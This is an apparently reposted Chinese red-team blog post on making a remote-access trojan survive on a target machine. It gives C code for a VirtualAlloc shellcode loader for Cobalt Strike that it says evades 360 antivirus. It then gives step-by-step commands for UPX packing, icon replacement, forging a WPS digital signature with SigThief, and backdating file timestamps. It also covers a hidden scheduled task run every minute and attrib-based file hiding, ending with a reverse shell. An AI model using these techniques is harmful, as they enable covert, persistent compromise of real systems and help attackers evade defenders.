前言
在红蓝对抗的过程中,远控木马起到了相当重要的作用,而面对蓝队技术人员的种种查杀,远控木马如何在目标机器上长久的存活下去
免杀马制作
cobalt strike生成shellcode.c
可以根据目标机器安装的杀毒软件制作有针对性的免杀马,当然,能够BypassAV是最好不过的了,为了节约时间成本,选择使用申请动态内存的方式加载shellcode生成免杀木马
#include <Windows.h> #include <stdio.h> #include <string.h> #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"") //windows控制台程序不出黑窗口 unsigned char buf[] = "shellcode"; main() { char *Memory; Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)(); }
可以通过360的静态免杀,动态操作也没有任何报毒提示
文件加壳
这里生成的shellcode为64为的执行代码,使用upx进行加壳
项目地址
https://github.com/upx/upx
.upx.exe C:Users33519Desktopshellcode.exe
文件加壳后属性对比
替换图标
使用BeCyIconGrabberPortable提取图标
项目地址
https://github.com/JarlPenguin/BeCyIconGrabberPortable
使用Resource hacker替换木马程序的图标
伪造签名
使用SigThief对木马程序进行数字签名伪造
项目地址
https://github.com/secretsquirrel/SigThief
使用wps的数字签名进行伪造
python .sigthief.py -i wps.exe -t .shellcode.exe -o shellcode2.exe
- -i 自带签名的文件
- -t 未加签名的文件
- -o 输出文件
shellcode2为伪造数字签名后的木马文件
伪造文件修改时间
蓝队技术人员通常会在时间顺序上排查攻击者上传的文件,我们上传的木马文件是最新的,所以使用ChTimeStamp伪造文件修改的时间
项目地址
https://github.com/MsF-NTDLL/ChTimeStamp
ChTimeStamp.exe C:UserscanxueDesktopshellcode2.exe "C:Program Files (x86)360360Safe360bps.dat"
360bps.bat为安装360时创建的文件,时间为一月份
修改前后文件属性对比
通过everything筛查文件不会发现近期上传的木马文件
计划任务隐藏自启动木马程序
使用SchTask创建隐藏的自启动任务
项目地址
https://github.com/0x727/SchTask_0x727/tree/main
选择主机随机进程名作为计划任务程序文件名
将计划任务程序文件复制到 `%AppData%MicrosoftWindowsThemes` 中
创建的计划任务名取同一随机进程名
计划任务触发器以分钟为单位,无限期持续
更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件
SchTask.exe shellcode2.exe 1
设置每分钟执行一次计划任务,计划任务为执行shellcode2.exe程序
被隐藏的计划任务,在注册表中可以看到
一分钟后自动执行木马程序,cobalt strike可以正常接收到反弹的shell
可以正常上线,命令也可以正常执行
attrib +s +h +r
使用此命令深度隐藏木马文件,即使打开查看隐藏文件选项也无法显示文件
原文始发于微信公众号(无影安全实验室):转红队视角下的隐匿木马文件 实现持久化控制
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论